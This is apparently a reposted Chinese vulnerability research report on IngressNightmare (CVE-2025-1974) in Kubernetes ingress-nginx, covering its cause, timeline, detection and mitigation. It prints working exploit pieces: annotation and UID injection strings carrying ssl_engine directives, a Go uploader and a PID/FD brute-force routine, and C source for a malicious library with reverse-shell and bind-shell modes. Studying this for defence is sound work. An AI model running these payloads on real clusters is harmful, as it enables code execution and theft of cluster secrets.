CVE-2025-1974 IngressNightmare 安全研究报告
CVE-2025-1974 IngressNightmare 安全研究报告漏洞编号: CVE-2025-1974 (主CVE), CVE-2025-1097, CVE-2025-1098, CVE-2 2025-11-24 00:33:12 Author: www.freebuf.com(查看原文) 阅读量:2 收藏

CVE-2025-1974 IngressNightmare 安全研究报告

漏洞编号: CVE-2025-1974 (主CVE), CVE-2025-1097, CVE-2025-1098, CVE-2025-24513, CVE-2025-24514
CVSS v3.1评分: 9.8 (严重)
研究对象: Kubernetes Ingress-NGINX Validating Admission Webhook 远程代码执行漏洞
参考编号: GHSA-mgvx-rpfc-9mpv

1. 执行摘要

1.1 漏洞概述

CVE-2025-1974 (IngressNightmare) 是一个影响 Kubernetes ingress-nginx controller 的严重远程代码执行漏洞,由 Wiz Research 团队 (Nir Ohfeld, Ronen Shustin, Sagi Tzadik, Hillai Ben-Sasson) 于 2024年12月31日 发现并报告。该漏洞允许攻击者在无需任何认证的情况下,仅通过访问 Kubernetes Pod 网络即可在 ingress-nginx controller 的容器上下文中执行任意代码,最终可导致完整的 Kubernetes 集群接管。

1.2 核心技术机制

该漏洞的核心机制在于 Ingress-NGINX 的 Validating Admission Webhook 在处理 Ingress 对象时存在以下安全缺陷链条:

  1. Admission 接收 Ingress 对象后,会渲染临时 nginx.conf 并执行nginx -t进行配置校验

  2. 由于某些注解值在渲染时缺乏充分转义/过滤,可被用于注入 NGINX 指令

  3. 结合 NGINX 在-t阶段对特定指令/模块的加载与初始化行为,可导致控制器容器内代码执行

  4. 攻击者可通过ssl_engine指令加载恶意共享库,在nginx -t验证阶段触发代码执行

1.3 关键信息汇总

项目详情
漏洞名称IngressNightmare
CVE编号CVE-2025-1974 (主CVE)
相关CVECVE-2025-1097, CVE-2025-1098, CVE-2025-24513, CVE-2025-24514
CVSS v3.1评分9.8 (严重)
攻击复杂度
所需权限
用户交互无需
攻击向量网络 (Pod网络访问)
影响范围机密性、完整性、可用性全部HIGH
受影响组件ingress-nginx admission controller
发现者Wiz Research Team
披露日期2025年3月24日
修复版本v1.11.5, v1.12.1+

1.4 影响评估

  • 全球影响: 超过 40% 的云环境运行受影响版本

  • 组件重要性: ingress-nginx 是 Kubernetes 生态中使用最广泛的 Ingress 控制器

  • 默认配置漏洞: Admission webhook 默认启用且无认证机制

  • 权限提升路径: 默认配置下 controller 拥有 cluster-wide Secret 读取权限

  • 攻击门槛: 仅需 Pod 网络访问,无需 Kubernetes API 权限

1.5 关键发现

  • 无需认证: 攻击者只需要能够访问 Kubernetes Pod 网络,无需任何凭证

  • 完整集群控制: 成功利用可窃取所有 Secrets,实现横向移动,最终接管整个集群

  • 大规模部署: ingress-nginx 在生产环境中广泛使用,影响数以万计的集群

  • 供应链风险: 可通过恶意容器镜像进入受信任环境

  • 检测难度高: 利用过程不留持久化痕迹,仅依赖临时文件描述符

1.6 建议行动优先级

立即采取 (0-24小时):

  • 识别所有使用 ingress-nginx 的集群

  • 升级到安全版本 (v1.11.5 或 v1.12.1+)

  • 临时禁用 admission webhook 或部署 NetworkPolicy 隔离

短期措施 (1-7天):

  • 实施最小权限 RBAC

  • 部署运行时监控 (Falco/Tetragon/Sysdig)

  • 执行 IoC 检测脚本扫描已受攻击迹象

长期加固 (持续):

  • 建立漏洞管理流程和应急响应计划

  • 实施零信任网络架构

  • 加强容器镜像安全和供应链管理

2. 漏洞背景

2.1 Kubernetes Ingress 简介

Kubernetes Ingress 是一个 API 对象,用于管理集群外部对集群内服务的 HTTP 和 HTTPS 访问。它提供负载均衡、SSL 终止和基于名称的虚拟主机功能。

互联网
    |
[Ingress Controller] <- Ingress 资源定义路由规则
    |
[Service A] [Service B] [Service C]
    |           |           |
 [Pod]       [Pod]       [Pod]

核心概念:

  • Ingress 资源: 声明性配置,定义路由规则

  • Ingress Controller: 实际实现路由逻辑的组件

  • Backend Services: Ingress 路由到的目标服务

2.2 ingress-nginx 架构

ingress-nginx 是 Kubernetes 社区官方维护的基于 NGINX 的 Ingress 控制器,是生产环境中最流行的选择之一。

2.2.1 核心组件

┌─────────────────────────────────────────────────┐
│         ingress-nginx Controller Pod            │
├─────────────────────────────────────────────────┤
│                                                 │
│  ┌───────────────────────────────────────────┐ │
│  │   Controller 进程 (Go)                    │ │
│  │   - Watch Ingress/Service/Endpoints       │ │
│  │   - 生成 nginx.conf                       │ │
│  │   - 调用 nginx reload                     │ │
│  └───────────────────────────────────────────┘ │
│                      |                          │
│                      v                          │
│  ┌───────────────────────────────────────────┐ │
│  │   NGINX 进程 (C/Lua)                      │ │
│  │   - 处理实际流量                          │ │
│  │   - 执行路由规则                          │ │
│  │   - SSL/TLS 终止                          │ │
│  │   - Lua 插件 (认证/限流等)                │ │
│  └───────────────────────────────────────────┘ │
│                                                 │
│  ┌───────────────────────────────────────────┐ │
│  │   Admission Webhook (可选,默认启用)       │ │
│  │   - 验证 Ingress 对象合法性               │ │
│  │   - 阻止无效配置                          │ │
│  │   - 8443/TCP 端口                         │ │
│  └───────────────────────────────────────────┘ │
│                                                 │
└─────────────────────────────────────────────────┘

2.2.2 Admission Webhook 机制

Kubernetes Admission Webhook 是一种扩展机制,允许在对象持久化到 etcd 之前进行自定义验证或变更。ingress-nginx 使用 Validating Admission Webhook 来预检查 Ingress 对象的合法性。

工作流程:

  1. 用户通过 kubectl/API 创建/更新 Ingress 对象

  2. Kubernetes API Server 在持久化前调用 Admission Webhook

  3. Admission Webhook 接收 AdmissionReview 请求

  4. Webhook 执行验证逻辑并返回允许/拒绝决策

  5. API Server 根据响应决定是否接受该对象

历史实现 (存在漏洞的版本):

[AdmissionReview] → [解析Ingress] → [渲染nginx.conf] → [nginx -t验证] → [返回结果]
                                                          ↑
                                                    漏洞触发点

2.3 NGINX 与 OpenSSL ENGINE

2.3.1 nginx.tmpl 模板系统

ingress-nginx 使用 Go 模板 (nginx.tmpl) 来生成 NGINX 配置文件。模板会根据 Kubernetes 中的 Ingress、Service、Endpoints 等对象动态渲染配置。

模板渲染流程:

// 伪代码示意
func renderTemplate(ingresses []Ingress) string {
    tmpl := template.New("nginx.tmpl")
    data := buildTemplateData(ingresses)
    var buf bytes.Buffer
    tmpl.Execute(&buf, data)
    return buf.String()
}

2.3.2 ssl_engine 指令

ssl_engine是 NGINX 中用于配置 OpenSSL ENGINE 的指令,通常用于硬件 SSL 加速器或 HSM (硬件安全模块)。

关键特性:

  • 该指令会加载指定的共享库文件 (.so)

  • 加载发生在配置解析阶段,即nginx -t时也会触发

  • load_module不同,ssl_engine可以出现在配置文件的任意位置

  • 加载的共享库中的构造函数 (__attribute__((constructor))) 会自动执行

正常用法示例:

ssl_engine cloudhsm;  # 加载云HSM ENGINE

漏洞利用示例:

ssl_engine ../../../../../../proc/20/fd/18;  # 加载恶意.so

2.3.3 NGINX Lua 能力

ingress-nginx 使用带 lua-nginx-module 的 NGINX 以支持动态功能,例如:

  • 动态认证逻辑

  • 请求/响应修改

  • 限流和速率控制

  • 自定义日志处理

某些模块/指令在配置测试阶段也会初始化,这为从"配置注入到代码执行"搭建了桥梁。

3. 时间线

3.1 完整时间线

日期事件说明
2024-12-31漏洞报告Wiz Research 私下向 Kubernetes 安全团队报告 CVE-2025-1974 和相关注入问题
2025-01-03确认接收Kubernetes 安全团队确认报告
2025-01-12提出修复方案Kubernetes 团队提出初步修复方案
2025-01-16绕过发现Wiz Research 发现初步修复可以被绕过,报告新的注入向量
2025-03-24公开披露官方发布安全公告、补丁版本 (v1.11.5, v1.12.1) 和 GHSA
2025-03-25 起社区响应多家安全厂商发布检测/缓解指引、Falco/Sysdig 规则、PoC 分析

3.2 披露过程分析

这是一个典型的负责任披露案例:

  • 私下报告到公开披露间隔约 3 个月,符合行业标准

  • 修复过程中发现绕过,延长了修复周期

  • 补丁与披露同步发布,降低了零日利用窗口

  • 官方提供了临时缓解措施 (禁用 Admission Webhook)

4. 影响范围

4.1 受影响版本

版本范围状态说明
< v1.11.5受影响所有 1.11.x 系列早期版本
v1.12.0-beta.0 至 v1.12.0受影响包括 v1.12.0 GA 版本
>= v1.11.5已修复1.11.x 系列修复版本
>= v1.12.1已修复1.12.x 系列修复版本

4.2 实际影响评估

攻击面分析:

  • Admission Service 网络可达性: 攻击者需要能访问集群内部网络

  • 前置条件: 通常意味着攻击者已经在集群中运行 Pod (通过供应链、内部威胁、容器逃逸等)

  • 无需认证: 不需要 Kubernetes API 凭证或 RBAC 权限

  • 无需交互: 完全自动化攻击

潜在影响:

  • 机密性: 默认配置下 ingress-controller 可读取 cluster-wide Secrets,包括数据库凭证、API 密钥、TLS 私钥、云服务凭证、OAuth tokens

  • 完整性: 可修改 nginx 配置导致流量劫持,注入恶意代码到所有通过 ingress 的流量

  • 可用性: 可终止 ingress-controller 进程,消耗资源导致 DoS,破坏 nginx 配置导致所有 ingress 失效

真实世界风险:

  • 约 40% 的 Kubernetes 环境使用 ingress-nginx

  • 大多数环境使用默认配置 (Admission Webhook 启用)

  • 供应链攻击向量使得利用门槛大幅降低

  • 已有公开 PoC 代码,攻击成本进一步降低

5. 技术分析

5.1 Admission 验证流程详解

受影响版本的 Admission Webhook 工作流程:

1. 接收 AdmissionReview 请求
   |
   v
2. 解析 Ingress 对象
   - metadata.annotations
   - metadata.uid
   - spec.rules
   |
   v
3. 构造模板数据结构
   - 解析各种注解 (auth-url, mirror, auth-tls-match-cn 等)
   - 未充分验证/转义注解值
   |
   v
4. 渲染临时 nginx.conf
   - 使用 nginx.tmpl 模板
   - 将注解值插入配置文件
   - 写入 /tmp/nginx-XXXX.conf
   |
   v
5. 执行 nginx -t 验证
   - 调用: nginx -t -c /tmp/nginx-XXXX.conf
   - NGINX 解析配置文件
   - 触发指令处理器 (包括 ssl_engine)
   - 加载共享库并执行构造函数
   |
   v
6. 返回 AdmissionReview 响应
   - 允许 (allowed: true) 或拒绝 (allowed: false)

关键代码路径 (伪代码):

// Admission Webhook 处理函数
func (v *Validator) Validate(ar *admissionv1.AdmissionReview) *admissionv1.AdmissionResponse {
    ingress := parseIngress(ar.Request.Object)

    // 渲染 nginx 配置
    nginxConf, err := v.renderTemplate(ingress)
    if err != nil {
        return deny(err.Error())
    }

    // 写入临时文件
    tmpFile := "/tmp/nginx-" + generateRandomString() + ".conf"
    ioutil.WriteFile(tmpFile, []byte(nginxConf), 0644)
    defer os.Remove(tmpFile)

    // 验证配置 (漏洞触发点)
    err = v.testNginxConfig(tmpFile)
    if err != nil {
        return deny(err.Error())
    }

    return allow()
}

// 执行 nginx -t
func (v *Validator) testNginxConfig(configPath string) error {
    cmd := exec.Command("/usr/sbin/nginx", "-t", "-c", configPath)
    output, err := cmd.CombinedOutput()
    if err != nil {
        return fmt.Errorf("nginx -t failed: %s", output)
    }
    return nil
}

5.2 配置注入漏洞链详解

CVE-2025-1974 实际上是多个配置注入漏洞的组合利用:

5.2.1 CVE-2025-24514: auth-url 注入

auth-url 注解用于配置外部认证服务:

annotations:
  nginx.ingress.kubernetes.io/auth-url: "https://auth.example.com/verify"

生成的 nginx 配置:

set $auth_url "https://auth.example.com/verify";
proxy_pass $auth_url;

注入向量:

annotations:
  nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;\n}\n}\n}\nssl_engine /proc/20/fd/18;\n#"

生成的配置 (注入成功):

set $auth_url "http://example.com/#;
}
}
}
ssl_engine /proc/20/fd/18;
#";
proxy_pass $auth_url;

关键点:

  • 换行符 (\n) 打破了原有语句结构

  • 右花括号 (}) 关闭了 server/location 上下文

  • 注入的 ssl_engine 指令位于全局上下文

  • 注释符号 (#) 注释掉后续内容

5.2.2 CVE-2025-1097: auth-tls-match-cn 注入

auth-tls-match-cn 注解用于客户端证书 CN 验证:

annotations:
  nginx.ingress.kubernetes.io/auth-tls-match-cn: "CN=*.example.com"
  nginx.ingress.kubernetes.io/auth-tls-secret: "namespace/secret-name"

生成的 nginx 配置:

if ($ssl_client_s_dn !~ "CN=*.example.com") {
    return 403;
}

注入向量:

annotations:
  nginx.ingress.kubernetes.io/auth-tls-match-cn: "CN=abc #(\n){}\\n }}\\nssl_engine /proc/20/fd/18;\\n#"
  nginx.ingress.kubernetes.io/auth-tls-secret: "default/fake-secret"

绕过正则验证:

  • 该注解有正则表达式验证

  • 通过精心构造的模式 (包含括号、换行转义等) 可以绕过

  • 利用注释符号和换行符突破上下文

5.2.3 CVE-2025-1098: mirror UID 注入

mirror 注解用于流量镜像功能,但 UID 字段完全绕过了注解清理规则:

metadata:
  uid: "InjectTest#;\\n\\n}\\n}\\n}\\nssl_engine /proc/20/fd/18"
annotations:
  nginx.ingress.kubernetes.io/mirror-target: "http://mirror.example.com"

生成的 nginx 配置:

set $request_id "InjectTest#;

}
}
}
ssl_engine /proc/20/fd/18";

关键点:

  • UID 字段被直接用于生成 nginx 配置

  • 没有经过任何注解清理逻辑

  • 完全未验证,可注入任意内容

5.3 从配置注入到代码执行

5.3.1 ssl_engine 指令利用

研究者尝试的路径:

  1. 最初尝试: load_module 指令

    • 问题: 必须位于配置文件开头 (main context)

    • 注入点位于 server/location context 内部

    • 无法注入到文件开头

  2. 最终方案: ssl_engine 指令

    • 优势: 可以出现在任意位置

    • 行为: 加载 OpenSSL ENGINE 共享库

    • 关键: nginx -t 时也会触发加载

ssl_engine 工作机制:

// NGINX 源码 (简化)
static char *
ngx_ssl_engine(ngx_conf_t *cf, ngx_command_t *cmd, void *conf)
{
    ngx_str_t *value = cf->args->elts;

    // 加载 ENGINE
    ENGINE *e = ENGINE_by_id((char *) value[1].data);
    if (e == NULL) {
        // 尝试作为动态库加载
        ENGINE_load_dynamic();
        e = ENGINE_by_id("dynamic");
        ENGINE_ctrl_cmd_string(e, "SO_PATH", (char *) value[1].data, 0);
        ENGINE_ctrl_cmd_string(e, "LOAD", NULL, 0);
    }

    // 初始化 ENGINE
    ENGINE_init(e);
    ENGINE_set_default(e, ENGINE_METHOD_ALL);
}

关键点:

  • ENGINE_by_id 会调用 dlopen() 加载共享库

  • 加载时会执行库的构造函数

  • 这发生在 nginx -t 配置测试阶段

5.3.2 临时文件上传技术

攻击者需要将恶意 .so 文件放入目标容器文件系统,利用了 NGINX client body buffering 机制:

NGINX 请求体处理逻辑:

// NGINX 源码 (简化)
ngx_int_t
ngx_http_read_client_request_body(ngx_http_request_t *r)
{
    size_t content_length = r->headers_in.content_length_n;

    if (content_length > client_body_buffer_size) {
        // 创建临时文件
        ngx_temp_file_t *tf = ngx_pcalloc(r->pool, sizeof(ngx_temp_file_t));
        tf->file.fd = ngx_open_tempfile("/var/lib/nginx/body/", ...);

        // 写入请求体到临时文件
        ngx_write_file(&tf->file, buffer, n, offset);

        // 文件描述符保持打开,直到请求完成
        r->request_body->temp_file = tf;
    }
}

攻击技巧:

  1. 发送 HTTP 请求,声称 Content-Length: 1048576 (1MB)

  2. 实际只发送 8KB+ 的数据 (恶意 .so 文件)

  3. 不关闭连接,保持请求挂起

  4. NGINX 认为请求未完成,临时文件保持打开

  5. 文件虽然被删除,但通过 /proc/PID/fd/FD 仍可访问

PoC 实现 (Go):

func BadUploader(URL string, payload []byte) error {
    host := parseHost(URL)
    conn, err := net.Dial("tcp", host)
    if err != nil {
        return err
    }

    // 发送伪造的 Content-Length
    request := "POST / HTTP/1.1\r\n" +
        "Host: " + host + "\r\n" +
        "Content-Length: 1048576\r\n" +  // 声称1MB
        "Connection: keep-alive\r\n" +
        "\r\n"

    conn.Write([]byte(request))

    // 发送恶意 .so 文件 (实际只有8KB+)
    if len(payload) < 8*1024 {
        padding := bytes.Repeat([]byte{0x00}, 8*1024+10-len(payload))
        payload = append(payload, padding...)
    }
    conn.Write(payload)

    // 保持连接不关闭,让文件描述符保持打开
    io.ReadAll(conn)  // 阻塞等待,实际不会收到完整响应

    return nil
}

5.3.3 PID/FD 暴力破解

由于无法直接获取 nginx worker 进程的 PID 和临时文件的 FD 编号,需要暴力破解:

暴力破解策略:

func Exploit(webhookURL, uploadURL string, payload []byte) {
    // 启动持续上传线程
    stopUpload := make(chan struct{})
    go func() {
        for {
            select {
            case <-stopUpload:
                return
            default:
                BadUploader(uploadURL, payload)
                time.Sleep(1 * time.Second)
            }
        }
    }()

    // 并发暴力破解 PID 和 FD
    for pid := 5; pid <= 40; pid++ {
        for fd := 3; fd <= 26; fd++ {
            go func(pid, fd int) {
                // 构造 ssl_engine 路径
                enginePath := fmt.Sprintf("../../../../../../proc/%d/fd/%d", pid, fd)

                // 发送 AdmissionReview
                success, output := sendAdmissionRequest(webhookURL, enginePath)

                if success {
                    log.Printf("Exploit success! PID: %d, FD: %d", pid, fd)
                    log.Printf("Output: %s", output)
                    close(stopUpload)
                }
            }(pid, fd)
        }
    }
}

PID 范围选择:

  • 容器内 PID 通常较小 (1-50)

  • nginx master 进程通常是 PID 1

  • worker 进程通常是 PID 5-20

FD 范围选择:

  • 0, 1, 2 是 stdin/stdout/stderr

  • 3+ 是其他文件描述符

  • 临时文件通常在 3-30 范围内

成功判断标准:

- 响应中包含 "Code Injected!" → 成功执行
- "No such file or directory" → PID/FD 不正确
- "Exec format error" → 找到文件但架构不匹配
- "cannot load" → 文件存在但不是有效的 ENGINE

6. 漏洞成因

6.1 设计层面缺陷

零信任原则违背:

  • Admission Webhook 将不可信输入 (用户提供的 Ingress 对象) 直接用于生成可执行配置

  • 缺乏输入验证边界,假设注解值是"安全的"

  • 验证即执行:nginx -t不仅验证语法,还会初始化模块和加载库

职责耦合:

  • Admission 验证逻辑与实际运行时配置生成逻辑使用相同的模板

  • Admission 容器与 Controller 容器共享权限和网络

  • 没有隔离验证环境和生产环境

6.2 实现层面缺陷

输入验证不足:

// 修复前的代码 (简化)
func parseAuthURL(url string) string {
    return url  // 直接使用,无验证
}

// 修复后的代码
func parseAuthURL(url string) (string, error) {
    if strings.Contains(url, "\n") || strings.Contains(url, "\r") {
        return "", fmt.Errorf("invalid characters in auth-url")
    }
    sanitized := sanitizeNginxVariable(url)
    return sanitized, nil
}

模板拼接风险:

// 不安全的模板渲染
template := `set $auth_url "{{ .AuthURL }}";`

// 应该使用参数化或严格转义
template := `set $auth_url "{{ escapeNginx .AuthURL }}";`

UID 字段处理缺失:

  • metadata.uid 被直接用于生成配置

  • 没有经过任何注解清理逻辑

  • 完全未验证

6.3 架构层面问题 (CWE-653)

过度权限:

# ingress-nginx 默认 RBAC 权限
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: ingress-nginx
rules:
- apiGroups: [""]
  resources: ["secrets"]
  verbs: ["get", "list", "watch"]  # cluster-wide Secret 读取权限

缺乏网络隔离:

  • Admission Service 默认为 ClusterIP,集群内任意 Pod 可访问

  • 没有强制 NetworkPolicy

  • 不验证请求来源 (应仅允许 API Server)

7. 利用方式

7.1 前置条件

条件说明难度
Pod 网络访问攻击者需要在同一 K8s 集群内运行 Pod中等
Admission webhook 启用默认配置即启用默认满足
目标架构已知需要编译对应架构的 .so 文件

7.2 攻击向量分析

场景1: 供应链攻击

恶意容器镜像 → 部署到集群 → 获得 Pod 网络访问 → 利用 CVE-2025-1974
→ 接管 ingress-controller → 窃取所有 Secrets → 横向移动到其他节点

场景2: 内部威胁

内部开发者 → 部署测试 Pod → 利用漏洞 → 提升权限 → 访问生产数据

场景3: 逃逸后攻击

容器逃逸漏洞 → 获得主机访问 → 访问 Pod 网络 → 利用 ingress 漏洞
→ 获得集群管理员权限

7.3 高层利用流程

阶段1: 恶意共享库上传

1. 准备恶意 .so 文件 (包含反弹 shell 或命令执行代码)
2. 发送 HTTP 请求到 ingress-controller Service
3. 伪造 Content-Length: 1048576 (声称 1MB)
4. 实际发送 8KB+ 的恶意 .so 文件
5. 保持连接不关闭
6. NGINX 创建临时文件 /var/lib/nginx/body/XXXXXXXXXX
7. 文件描述符保持打开,可通过 /proc/PID/fd/FD 访问

阶段2: 配置注入触发

1. 构造特制的 AdmissionReview 请求
2. 在注解或 UID 字段注入 ssl_engine 指令
3. 指向 /proc/PID/fd/FD 路径
4. 直接发送到 Admission Webhook (绕过 API Server)
5. Admission 渲染包含注入指令的 nginx.conf
6. 执行 nginx -t 验证
7. ssl_engine 指令触发,加载恶意 .so
8. 构造函数自动执行,获得 RCE

阶段3: PID/FD 暴力破解

1. 并发尝试 PID 范围 5-40
2. 并发尝试 FD 范围 3-26
3. 每个组合发送一次 AdmissionReview
4. 检查响应中的成功标志 ("Code Injected!")
5. 成功后停止上传线程

7.4 去敏化 AdmissionReview 示例

关键注入位置以 REDACTED 标示:

{
  "kind": "AdmissionReview",
  "apiVersion": "admission.k8s.io/v1",
  "request": {
    "uid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
    "kind": {
      "group": "networking.k8s.io",
      "version": "v1",
      "kind": "Ingress"
    },
    "operation": "CREATE",
    "object": {
      "apiVersion": "networking.k8s.io/v1",
      "kind": "Ingress",
      "metadata": {
        "name": "demo",
        "namespace": "default",
        "annotations": {
          "nginx.ingress.kubernetes.io/auth-url": "[REDACTED: 上下文逃逸+注入指令]"
        }
      },
      "spec": {
        "ingressClassName": "nginx",
        "rules": []
      }
    }
  }
}

7.5 恶意共享库结构

danger.c 关键特性分析:

特性1: 无 libc 依赖

// 使用 -nostdlib -ffreestanding 编译,避免 GLIBC 版本兼容问题
// 自实现必要的 C 标准库函数
int strcmp(const char *s1, const char *s2) {
    while (*s1 && (*s1 == *s2)) {
        s1++;
        s2++;
    }
    return *(unsigned char *)s1 - *(unsigned char *)s2;
}

size_t strlen(const char *str) {
    const char *s = str;
    while (*s) s++;
    return s - str;
}

特性2: 构造函数自动执行

__attribute__((constructor)) static void entrypoint(void)
{
    int pid = fork();
    if (pid == 0) {
        // 父进程立即退出,避免阻塞 nginx -t
        exit(0);
    } else {
        // 子进程执行 payload
        const char* MODE = "MODE_CHECK_FLAG";

        if (strcmp(MODE, "MODE_REVERSE_SH") == 0) {
            reverse_shell();
        } else if (strcmp(MODE, "MODE_BIND_SH") == 0) {
            bind_shell();
        } else if (strcmp(MODE, "MODE_CMD_EXECVE") == 0) {
            execute_command();
        }
        exit(1);
    }
}

特性3: 三种攻击模式

// 模式1: 反弹 Shell
void reverse_shell() {
    char *server_ip = "127.000.000.001";  // 会被 PoC 替换
    const char *port_s = "13337";

    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = {0};
    addr.sin_family = AF_INET;
    addr.sin_port = htons(atoi(port_s));
    addr.sin_addr.s_addr = inet_addr(server_ip);

    connect(sock, (struct sockaddr *)&addr, sizeof(addr));

    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);

    char *args[] = {"/bin/sh", NULL};
    execve("/bin/sh", args, NULL);
}

// 模式2: 绑定 Shell
void bind_shell() {
    fork();  // 后台运行

    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = {0};
    addr.sin_family = AF_INET;
    addr.sin_port = htons(4444);
    addr.sin_addr.s_addr = INADDR_ANY;

    bind(sock, (struct sockaddr *)&addr, sizeof(addr));
    listen(sock, 0);

    int client = accept(sock, NULL, NULL);
    dup2(client, 0);
    dup2(client, 1);
    dup2(client, 2);

    char *args[] = {"/bin/sh", NULL};
    execve("/bin/sh", args, NULL);
}

// 模式3: 命令执行
void execute_command() {
    char cmd[512] = "AAAA...AAA";  // 512 字节占位符,会被替换

    FILE *stream = popen(cmd, "r");
    char buffer[1024];

    while (!feof(stream)) {
        if (fgets(buffer, sizeof(buffer), stream) != NULL) {
            write(2, buffer, strlen(buffer));  // 输出到 stderr
        }
    }

    pclose(stream);
}

特性4: 字符串替换机制

// Go 代码在编译好的 .so 二进制文件中直接替换字节
func bytesReplace(s, old, new []byte, n int) []byte {
    if len(old) != len(new) {
        panic("bytes: unequal old and new byte slices!")
    }
    return bytes.Replace(s, old, new, -1)
}

// 生成反弹 Shell payload
func NewReverseShellPayload(ip string, port int) Payload {
    // IP 填充: "127.000.000.001" (15 字节) → "192.168.001.100"
    paddedIP := padIP(ip)

    // 端口填充: "13337" (5 字节) → "04444"
    paddedPort := padPort(port)

    payload := bytesReplace(evilLibrary,
        []byte("127.000.000.001"),
        []byte(paddedIP), 1)

    payload = bytesReplace(payload,
        []byte("13337"),
        []byte(paddedPort), 1)

    payload = bytesReplace(payload,
        []byte("MODE_CHECK_FLAG"),
        []byte("MODE_REVERSE_SH"), 1)

    return payload
}

// 生成命令执行 payload
func NewCommandPayload(command string) Payload {
    cmd := []byte(command + " #")
    cmd = append(cmd, bytes.Repeat([]byte{0x41}, 512-len(cmd))...)

    payload := bytesReplace(evilLibrary,
        bytes.Repeat([]byte{0x41}, 512),
        cmd, 1)

    payload = bytesReplace(payload,
        []byte("MODE_CHECK_FLAG"),
        []byte("MODE_CMD_EXECVE"), 1)

    return payload
}

8. 攻击链分析

8.1 完整攻击流程 (蓝队视角)

步骤1: 网络可达
源: 集群内任意 Pod / 邻域网络
目标: ingress-nginx-controller-admission Service (ClusterIP:8443/TCP)
检测点: 网络流量监控,异常来源分析

步骤2: 恶意库上传
攻击者 → HTTP POST 到 ingress-controller
伪造 Content-Length: 1048576
实际发送: 8KB 恶意 .so 文件
结果: /var/lib/nginx/body/XXXXXXXXXX (临时文件)
检测点: 异常 HTTP 请求,大 Content-Length 但小 body

步骤3: AdmissionReview 注入
攻击者 → 构造 Ingress 对象
注入点: annotations 或 metadata.uid
注入内容: ssl_engine ../../../../../../proc/PID/fd/FD
检测点: 异常注解值,包含换行/分号

步骤4: 临时配置生成
Admission → 解析 Ingress
Admission → 渲染 nginx.tmpl
输出: /tmp/nginx-*.conf (包含注入的 ssl_engine)
检测点: 临时配置文件内容审计

步骤5: nginx -t 执行
Admission → 执行 nginx -t -c /tmp/nginx-*.conf
NGINX → 解析配置文件
NGINX → 处理 ssl_engine 指令
NGINX → dlopen(/proc/PID/fd/FD)
检测点: dlopen 系统调用,加载非标准路径的库

步骤6: 代码执行
.so 加载 → __attribute__((constructor)) 触发
构造函数 → fork() 创建子进程
子进程 → 执行 payload (反弹 shell/命令执行)
检测点: 异常进程树,nginx 子进程执行 sh/bash

步骤7: 后利用
反弹 shell → 攻击者获得容器访问
读取 ServiceAccount token → /var/run/secrets/kubernetes.io/serviceaccount/token
调用 K8s API → 读取 cluster-wide Secrets
横向移动 → 访问其他 Pod/Service
检测点: 异常 API 调用,Secret 访问审计

8.2 攻击时序图

攻击者              Nginx Worker         Admission Controller         nginx -t 进程         恶意 .so
  |                      |                        |                         |                    |
  |--- POST (fake CL) -->|                        |                         |                    |
  |--- send 8KB .so ---->|                        |                         |                    |
  |                      |                        |                         |                    |
  |                      |-- create tmp file ---->|                         |                    |
  |                      |   /var/lib/nginx/body/0000000001                 |                    |
  |                      |   (FD保持打开)         |                         |                    |
  |                      |                        |                         |                    |
  |-- AdmissionReview -->|                        |                         |                    |
  |   (注入 ssl_engine)  |                        |                         |                    |
  |                      |                        |                         |                    |
  |                      |                        |-- 渲染 nginx.conf ----->|                    |
  |                      |                        |   (包含 ssl_engine)     |                    |
  |                      |                        |                         |                    |
  |                      |                        |-- nginx -t ------------>|                    |
  |                      |                        |                         |                    |
  |                      |                        |                         |-- dlopen --------->|
  |                      |                        |                         |   /proc/20/fd/18   |
  |                      |                        |                         |                    |
  |                      |                        |                         |                    |-- constructor() -->
  |                      |                        |                         |                    |   fork()
  |                      |                        |                         |                    |   子进程: payload
  |                      |                        |                         |<-- 父进程 exit(0) -|
  |                      |                        |                         |                    |
  |                      |                        |<-- nginx -t 返回 -------|                    |
  |                      |                        |   (含错误信息)          |                    |
  |                      |                        |                         |                    |
  |<-- AdmissionResponse |                        |                         |                    |
  |   (包含 "Code Injected!" 标志)                 |                         |                    |
  |                      |                        |                         |                    |
  |                                                                                           子进程继续
  |                                                                                           执行 payload
  |<--------------------------------------- 反弹 shell 连接 ------------------------------------|
  |                                                                                                |
  |--- 执行任意命令 ----------------------------------------------------------------------------->|

8.3 关键检测点

网络层:

  • 异常源 IP 访问 Admission Service (非 API Server)

  • 大 Content-Length 但小实际 body 的 HTTP 请求

  • 反弹 shell 的外连流量

主机/容器层:

  • nginx 进程加载 /proc//fd/路径的共享库

  • nginx 的子进程执行 /bin/sh 或 /bin/bash

  • 异常的网络连接 (非 80/443 端口)

日志层:

  • Admission 日志中的 nginx -t 错误信息

  • 包含 "Code Injected!" 或其他 payload 特征的输出

  • API 审计日志中缺少对应的 CREATE Ingress 事件

9. 环境搭建与复现

9.1 安全声明

本节内容仅用于:

  • 安全研究和学习

  • 授权的渗透测试环境

  • 验证防护措施有效性

严禁在未授权环境中使用。建议仅在离线实验集群中操作。

9.2 本地隔离集群搭建

使用 Kind 创建单节点集群:

#!/bin/bash
# 创建受影响版本的测试环境
# 仅用于安全研究和授权测试

cat > kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  kubeadmConfigPatches:
  - |
    kind: InitConfiguration
    nodeRegistration:
      kubeletExtraArgs:
        node-labels: "ingress-ready=true"
  extraPortMappings:
  - containerPort: 80
    hostPort: 8080
    protocol: TCP
  - containerPort: 443
    hostPort: 8443
    protocol: TCP
EOF

kind create cluster --name cve-2025-1974-test --config kind-config.yaml

echo "集群创建完成"
kubectl cluster-info --context kind-cve-2025-1974-test

9.3 部署受影响版本

#!/bin/bash
# 部署易受攻击的 ingress-nginx v1.11.4

echo "部署 ingress-nginx v1.11.4 (受影响版本)"
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.11.4/deploy/static/provider/kind/deploy.yaml

echo "等待 Pod 就绪"
kubectl wait --namespace ingress-nginx \
  --for=condition=ready pod \
  --selector=app.kubernetes.io/component=controller \
  --timeout=300s

echo "验证版本"
kubectl get pods -n ingress-nginx \
